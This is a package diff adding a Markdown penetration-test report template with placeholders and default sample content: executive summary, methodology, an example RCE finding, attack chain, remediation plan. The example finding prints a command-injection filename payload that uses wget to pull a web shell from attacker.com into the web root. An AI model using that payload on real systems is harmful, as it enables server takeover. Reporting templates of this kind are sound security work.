@dollhousemcp/mcp-server 1.3.0

package/data/templates/penetration-test-report.md

@@ -0,0 +1,608 @@
+---
+name: "Penetration Test Report"
+description: "Comprehensive penetration testing report with executive summary and technical findings"
+type: "template"
+version: "1.0.0"
+author: "DollhouseMCP"
+created: "2025-07-23"
+category: "security"
+tags: ["penetration-testing", "security", "assessment", "report", "ethical-hacking"]
+variables:
+  test_period:
+    type: "string"
+    description: "Testing period (start - end dates)"
+    required: true
+  target_organization:
+    type: "string"
+    description: "Target organization name"
+    required: true
+  lead_tester:
+    type: "string"
+    description: "Lead penetration tester name"
+    required: true
+  test_type:
+    type: "string"
+    description: "Type of penetration test"
+    default: "external"
+    enum: ["external", "internal", "web_application", "wireless", "social_engineering", "red_team"]
+  methodology:
+    type: "string"
+    description: "Testing methodology used"
+    default: "PTES"
+    enum: ["PTES", "OWASP", "NIST", "OSSTMM", "custom"]
+  client_contact:
+    type: "string"
+    description: "Primary client contact"
+    required: true
+outputFormats: ["pdf", "html", "markdown"]
+includes: []
+---
+
+# Penetration Testing Report
+
+**Target Organization:** {{target_organization}}  
+**Testing Period:** {{test_period}}  
+**Lead Tester:** {{lead_tester}}  
+**Client Contact:** {{client_contact}}  
+**Test Type:** {{test_type}}  
+**Methodology:** {{methodology}}  
+**Report Date:** {{report_date}}  
+**Classification:** CONFIDENTIAL
+
+---
+
+## Executive Summary
+
+### Assessment Overview
+{{#if assessment_overview}}
+{{assessment_overview}}
+{{else}}
+This penetration test was conducted to assess the security posture of {{target_organization}}'s {{test_type}} infrastructure. The assessment simulated real-world attack scenarios to identify vulnerabilities that could be exploited by malicious actors.
+
+**Key Objectives:**
+- Identify security vulnerabilities and misconfigurations
+- Assess the effectiveness of existing security controls
+- Provide actionable recommendations for risk mitigation
+- Validate compliance with security standards and policies
+{{/if}}
+
+### Key Findings Summary
+{{#if key_findings}}
+{{key_findings}}
+{{else}}
+**Major Achievements:**
+- Gained initial foothold through [attack vector]
+- Escalated privileges to [level] access
+- Accessed [number] sensitive systems
+- Extracted [type] of sensitive data
+- Maintained persistence for [duration]
+
+**Critical Vulnerabilities Identified:**
+1. [Vulnerability 1] - Allows complete network compromise
+2. [Vulnerability 2] - Enables sensitive data exfiltration  
+3. [Vulnerability 3] - Bypasses authentication controls
+{{/if}}
+
+### Risk Assessment
+| Risk Level | Findings | Percentage |
+|------------|----------|------------|
+{{#if risk_summary}}
+{{#each risk_summary}}
+| {{level}} | {{count}} | {{percentage}}% |
+{{/each}}
+{{else}}
+| Critical | X | XX% |
+| High | Y | YY% |
+| Medium | Z | ZZ% |
+| Low | W | WW% |
+{{/if}}
+
+**Overall Security Rating:** {{#if overall_rating}}{{overall_rating}}{{else}}[POOR/FAIR/GOOD/EXCELLENT]{{/if}}
+
+### Business Impact
+{{#if business_impact}}
+{{business_impact}}
+{{else}}
+**Potential Impact of Identified Vulnerabilities:**
+- **Data Breach Risk:** High likelihood of sensitive data exposure
+- **Financial Impact:** Estimated $[amount] in potential losses
+- **Regulatory Compliance:** Violations of [regulations] requirements
+- **Operational Impact:** [duration] of potential downtime
+- **Reputational Damage:** Customer trust and brand reputation at risk
+{{/if}}
+
+### Executive Recommendations
+{{#if exec_recommendations}}
+{{#each exec_recommendations}}
+{{@index+1}}. **{{category}}**: {{recommendation}}
+{{/each}}
+{{else}}
+1. **Immediate Action Required:** Address critical vulnerabilities within 48 hours
+2. **Security Architecture Review:** Comprehensive security design assessment needed
+3. **Incident Response:** Activate incident response procedures immediately
+4. **Security Training:** Mandatory security awareness training for all staff
+5. **Third-party Assessment:** Engage external security consultants for remediation
+{{/if}}
+
+---
+
+## Testing Methodology
+
+### Scope and Objectives
+{{#if scope_details}}
+{{scope_details}}
+{{else}}
+**In Scope:**
+- External IP ranges: [IP ranges]
+- Web applications: [URLs]
+- Network infrastructure: [description]
+- Wireless networks: [SSIDs]
+
+**Out of Scope:**
+- Social engineering attacks
+- Physical security testing
+- Denial of service attacks
+- Production data modification
+
+**Testing Objectives:**
+1. Identify exploitable vulnerabilities
+2. Assess network segmentation effectiveness
+3. Evaluate authentication and authorization controls
+4. Test incident detection and response capabilities
+{{/if}}
+
+### Testing Phases
+{{#if methodology_details}}
+{{methodology_details}}
+{{else}}
+#### Phase 1: Reconnaissance ({{recon_duration}})
+- Passive information gathering
+- OSINT collection and analysis
+- Network enumeration and mapping
+- Service and version identification
+
+#### Phase 2: Vulnerability Assessment ({{vuln_duration}})
+- Automated vulnerability scanning
+- Manual testing and validation
+- Configuration analysis
+- Weakness prioritization
+
+#### Phase 3: Exploitation ({{exploit_duration}})
+- Vulnerability exploitation attempts
+- Privilege escalation testing
+- Lateral movement simulation
+- Persistence mechanism deployment
+
+#### Phase 4: Post-Exploitation ({{post_exploit_duration}})
+- Data exfiltration simulation
+- Network traversal and mapping
+- Additional system compromise
+- Impact assessment
+
+#### Phase 5: Reporting ({{reporting_duration}})
+- Evidence collection and analysis
+- Risk assessment and prioritization
+- Remediation guidance development
+- Report preparation and review
+{{/if}}
+
+### Rules of Engagement
+{{#if rules_of_engagement}}
+{{rules_of_engagement}}
+{{else}}
+- Testing authorized by [authorization document]
+- Testing window: [specific times/dates]
+- Emergency contact: [contact information]
+- No destructive actions without explicit approval
+- Immediate cessation upon request
+- Confidential handling of all discovered information
+{{/if}}
+
+---
+
+## Technical Findings
+
+{{#if technical_findings}}
+{{#each technical_findings}}
+### Finding {{@index+1}}: {{title}}
+
+**Severity:** {{severity}}  
+**CVSS Score:** {{cvss_score}}  
+**Category:** {{category}}  
+**CWE ID:** {{cwe_id}}
+
+#### Description
+{{description}}
+
+#### Affected Systems
+{{#each affected_systems}}
+- **{{name}}** ({{ip_address}}) - {{role}}
+{{/each}}
+
+#### Exploitation Details
+{{exploitation_details}}
+
+#### Evidence
+{{#if screenshots}}
+{{#each screenshots}}
+![{{caption}}]({{image_path}})
+{{/each}}
+{{/if}}
+
+{{#if code_snippets}}
+```{{language}}
+{{code}}
+```
+{{/if}}
+
+#### Impact Assessment
+**Technical Impact:**
+- Confidentiality: {{confidentiality_impact}}
+- Integrity: {{integrity_impact}}
+- Availability: {{availability_impact}}
+
+**Business Impact:**
+{{business_impact_detail}}
+
+#### Remediation
+{{#each remediation_steps}}
+{{@index+1}}. {{step}}
+{{/each}}
+
+#### Verification Steps
+{{verification_steps}}
+
+---
+
+{{/each}}
+{{else}}
+### Example Finding: Unauthenticated Remote Code Execution
+
+**Severity:** CRITICAL  
+**CVSS Score:** 9.8  
+**Category:** Code Execution  
+**CWE ID:** CWE-78
+
+#### Description
+A critical remote code execution vulnerability was identified in the web application that allows unauthenticated attackers to execute arbitrary system commands on the underlying server.
+
+#### Affected Systems
+- **Web Server** (192.168.1.10) - Production web application server
+- **Database Server** (192.168.1.11) - Connected database server
+
+#### Exploitation Details
+The vulnerability exists in the file upload functionality where user-supplied filenames are passed directly to system commands without proper sanitization. By crafting a malicious filename containing shell metacharacters, an attacker can execute arbitrary commands.
+
+**Exploit Payload:**
+```bash
+filename="test.jpg; wget http://attacker.com/shell.php -O /var/www/html/shell.php; #"
+```
+
+**Result:** Remote shell access with web server privileges
+
+#### Evidence
+- Successfully uploaded malicious file
+- Executed system commands (id, whoami, ps aux)  
+- Established persistent backdoor access
+- Accessed configuration files and database credentials
+
+#### Impact Assessment
+**Technical Impact:**
+- Confidentiality: HIGH - Complete server access
+- Integrity: HIGH - Ability to modify any file
+- Availability: MEDIUM - Potential for service disruption
+
+**Business Impact:**
+This vulnerability allows complete compromise of the web server, potentially leading to:
+- Theft of customer data and personal information
+- Modification of website content and functionality
+- Use of server for botnet or cryptocurrency mining
+- Lateral movement to other network systems
+
+#### Remediation
+1. Implement strict input validation for all user uploads
+2. Use a whitelist approach for allowed file extensions
+3. Store uploaded files outside the web root directory
+4. Run web application with minimal system privileges
+5. Deploy Web Application Firewall (WAF) with upload restrictions
+6. Implement file type validation using file signatures
+7. Add comprehensive logging for all file upload activities
+
+#### Verification Steps
+1. Test file upload with various malicious payloads
+2. Verify uploaded files cannot execute system commands
+3. Confirm files are stored in secure location
+4. Test with different file extensions and MIME types
+5. Validate logging captures all upload attempts
+
+---
+{{/if}}
+
+## Attack Chain Analysis
+
+### Complete Attack Path
+{{#if attack_chain}}
+{{attack_chain}}
+{{else}}
+#### Initial Access
+1. **Reconnaissance:** Identified target IP ranges and services
+2. **Vulnerability Discovery:** Found RCE in web application upload
+3. **Exploitation:** Uploaded malicious file to gain shell access
+4. **Foothold Established:** Web server compromised (www-data user)
+
+#### Privilege Escalation
+1. **Local Enumeration:** Discovered kernel version vulnerability
+2. **Exploit Development:** Compiled local privilege escalation exploit
+3. **Root Access:** Successfully escalated to root privileges
+4. **Persistence:** Installed SSH backdoor and cron job
+
+#### Lateral Movement
+1. **Network Discovery:** Scanned internal network segments
+2. **Credential Harvesting:** Extracted database credentials from config
+3. **Database Access:** Connected to internal database server
+4. **Additional Systems:** Compromised 3 additional internal servers
+
+#### Data Exfiltration
+1. **Data Discovery:** Located customer database and financial records
+2. **Exfiltration Prep:** Compressed sensitive data archives
+3. **Covert Channel:** Established DNS tunneling for data theft
+4. **Data Theft:** Successfully exfiltrated 10GB of sensitive data
+{{/if}}
+
+### Timeline of Compromise
+{{#if compromise_timeline}}
+{{compromise_timeline}}
+{{else}}
+| Time | Activity | Result |
+|------|----------|---------|
+| T+00:15 | Initial reconnaissance | Target identification |
+| T+01:30 | Vulnerability scanning | RCE vulnerability found |
+| T+02:45 | Exploitation attempt | Web shell uploaded |
+| T+03:00 | Privilege escalation | Root access achieved |
+| T+04:15 | Network enumeration | Internal network mapped |
+| T+06:30 | Lateral movement | Database server compromised |
+| T+08:00 | Data discovery | Customer records located |
+| T+10:30 | Data exfiltration | 10GB of data stolen |
+{{/if}}
+
+---
+
+## Risk Assessment
+
+### Risk Calculation Methodology
+```
+Risk Score = (Threat Level × Vulnerability × Asset Value) / Controls
+
+Where:
+- Threat Level: Likelihood of attack (1-5)
+- Vulnerability: Ease of exploitation (1-5)
+- Asset Value: Business criticality (1-5)
+- Controls: Effectiveness of mitigations (1-5)
+```
+
+### Detailed Risk Analysis
+{{#if risk_analysis}}
+{{#each risk_analysis}}
+#### {{asset_name}}
+- **Asset Value:** {{asset_value}}/5 ({{value_justification}})
+- **Threat Level:** {{threat_level}}/5 ({{threat_justification}})
+- **Vulnerability:** {{vulnerability_score}}/5 ({{vuln_justification}})
+- **Current Controls:** {{controls_score}}/5 ({{controls_description}})
+- **Risk Score:** {{risk_score}}/5
+- **Risk Level:** {{risk_level}}
+
+{{/each}}
+{{else}}
+#### Web Application Server
+- **Asset Value:** 5/5 (Customer-facing, processes sensitive data)
+- **Threat Level:** 5/5 (Actively targeted by attackers)
+- **Vulnerability:** 5/5 (Critical RCE with no authentication required)
+- **Current Controls:** 1/5 (Minimal security controls in place)
+- **Risk Score:** 25/5 = 5/5
+- **Risk Level:** CRITICAL
+
+#### Database Server
+- **Asset Value:** 5/5 (Contains all customer and financial data)
+- **Threat Level:** 4/5 (Internal access required)
+- **Vulnerability:** 4/5 (Weak credentials, unpatched systems)
+- **Current Controls:** 2/5 (Basic access controls only)
+- **Risk Score:** 20/5 = 4/5
+- **Risk Level:** HIGH
+{{/if}}
+
+---
+
+## Remediation Plan
+
+### Immediate Actions (0-24 hours)
+{{#if immediate_actions}}
+{{#each immediate_actions}}
+- [ ] **{{priority}}:** {{action}} ({{owner}})
+{{/each}}
+{{else}}
+- [ ] **CRITICAL:** Patch RCE vulnerability in web application
+- [ ] **CRITICAL:** Change all compromised credentials and API keys
+- [ ] **CRITICAL:** Remove all backdoors and malicious files
+- [ ] **HIGH:** Implement emergency monitoring and alerting
+- [ ] **HIGH:** Conduct forensic analysis of compromised systems
+{{/if}}
+
+### Short-term Actions (1-7 days)
+{{#if shortterm_actions}}
+{{#each shortterm_actions}}
+- [ ] **{{priority}}:** {{action}} ({{owner}})
+{{/each}}
+{{else}}
+- [ ] Deploy Web Application Firewall (WAF)
+- [ ] Implement comprehensive input validation
+- [ ] Update all systems with latest security patches
+- [ ] Enhance monitoring and logging capabilities
+- [ ] Conduct security awareness training
+{{/if}}
+
+### Medium-term Actions (1-4 weeks)
+{{#if mediumterm_actions}}
+{{#each mediumterm_actions}}
+- [ ] **{{priority}}:** {{action}} ({{owner}})
+{{/each}}
+{{else}}
+- [ ] Implement network segmentation
+- [ ] Deploy endpoint detection and response (EDR)
+- [ ] Establish incident response procedures
+- [ ] Conduct architecture security review
+- [ ] Implement privileged access management (PAM)
+{{/if}}
+
+### Long-term Actions (1-6 months)
+{{#if longterm_actions}}
+{{#each longterm_actions}}
+- [ ] **{{priority}}:** {{action}} ({{owner}})
+{{/each}}
+{{else}}
+- [ ] Implement zero-trust network architecture
+- [ ] Establish security operations center (SOC)
+- [ ] Deploy security information and event management (SIEM)
+- [ ] Conduct regular penetration testing
+- [ ] Implement threat intelligence program
+{{/if}}
+
+---
+
+## Recommendations
+
+### Strategic Security Improvements
+{{#if strategic_recommendations}}
+{{strategic_recommendations}}
+{{else}}
+1. **Security by Design:** Integrate security into all development processes
+2. **Defense in Depth:** Implement multiple layers of security controls
+3. **Zero Trust Architecture:** Verify all users and devices before granting access
+4. **Continuous Monitoring:** Implement real-time threat detection and response
+5. **Security Culture:** Foster security-conscious organizational culture
+{{/if}}
+
+### Technical Controls
+{{#if technical_controls}}
+{{technical_controls}}
+{{else}}
+1. **Application Security:**
+   - Implement secure coding practices
+   - Deploy static and dynamic analysis tools
+   - Establish secure development lifecycle (SDLC)
+
+2. **Infrastructure Security:**
+   - Deploy network segmentation and micro-segmentation
+   - Implement endpoint protection and monitoring
+   - Establish backup and disaster recovery procedures
+
+3. **Identity and Access Management:**
+   - Implement multi-factor authentication (MFA)
+   - Deploy privileged access management (PAM)
+   - Establish role-based access controls (RBAC)
+{{/if}}
+
+### Organizational Controls
+{{#if organizational_controls}}
+{{organizational_controls}}
+{{else}}
+1. **Governance and Compliance:**
+   - Establish information security governance framework
+   - Implement compliance monitoring and reporting
+   - Conduct regular security risk assessments
+
+2. **Training and Awareness:**
+   - Provide security awareness training for all employees
+   - Conduct phishing simulation exercises
+   - Establish security incident reporting procedures
+
+3. **Vendor Management:**
+   - Implement third-party risk assessment program
+   - Establish security requirements for vendors
+   - Monitor vendor security posture continuously
+{{/if}}
+
+---
+
+## Conclusion
+
+### Overall Assessment
+{{#if conclusion_summary}}
+{{conclusion_summary}}
+{{else}}
+The penetration test revealed significant security vulnerabilities that pose critical risks to {{target_organization}}. The successful compromise of multiple systems demonstrates the need for immediate remediation efforts and comprehensive security program improvements.
+
+**Key Concerns:**
+- Critical vulnerabilities allow complete system compromise
+- Lack of effective monitoring and detection capabilities
+- Insufficient network segmentation enables lateral movement
+- Weak access controls facilitate privilege escalation
+{{/if}}
+
+### Success Metrics
+{{#if success_metrics}}
+{{success_metrics}}
+{{else}}
+To measure the effectiveness of remediation efforts, we recommend tracking:
+- Number of critical and high-risk vulnerabilities remediated
+- Mean time to detect (MTTD) security incidents
+- Mean time to respond (MTTR) to security incidents
+- Percentage of systems with current security patches
+- Security awareness training completion rates
+{{/if}}
+
+### Next Steps
+{{#if next_steps}}
+{{next_steps}}
+{{else}}
+1. **Immediate Response:** Address all critical findings within 24-48 hours
+2. **Remediation Validation:** Conduct follow-up testing to verify fixes
+3. **Process Improvement:** Establish ongoing security testing program
+4. **Continuous Monitoring:** Implement real-time threat detection
+5. **Regular Assessment:** Schedule quarterly security assessments
+{{/if}}
+
+---
+
+## Appendices
+
+### Appendix A: Detailed Technical Evidence
+{{#if technical_evidence}}
+{{technical_evidence}}
+{{else}}
+[This section would contain detailed screenshots, log files, network captures, and other technical evidence supporting the findings]
+{{/if}}
+
+### Appendix B: Tool Output and Scan Results
+{{#if tool_output}}
+{{tool_output}}
+{{else}}
+[This section would contain raw output from security tools used during testing]
+{{/if}}
+
+### Appendix C: Network Diagrams and Attack Paths
+{{#if network_diagrams}}
+{{network_diagrams}}
+{{else}}
+[This section would contain network topology diagrams showing attack paths and compromised systems]
+{{/if}}
+
+### Appendix D: Remediation Cost Analysis
+{{#if cost_analysis}}
+{{cost_analysis}}
+{{else}}
+| Priority | Estimated Cost | Timeline | Risk Reduction |
+|----------|---------------|----------|----------------|
+| Critical | $X,XXX | 1 week | 70% |
+| High | $XX,XXX | 1 month | 20% |
+| Medium | $XXX,XXX | 3 months | 8% |
+| Low | $XX,XXX | 6 months | 2% |
+{{/if}}
+
+---
+
+**Report prepared by:** {{lead_tester}}  
+**Testing team:** {{#if team_members}}{{team_members}}{{else}}[Team member names]{{/if}}  
+**Report review:** {{#if reviewer}}{{reviewer}}{{else}}[Senior security consultant]{{/if}}  
+**Date:** {{report_date}}  
+
+*This report contains confidential information and should be treated as such. Distribution should be limited to authorized personnel only.*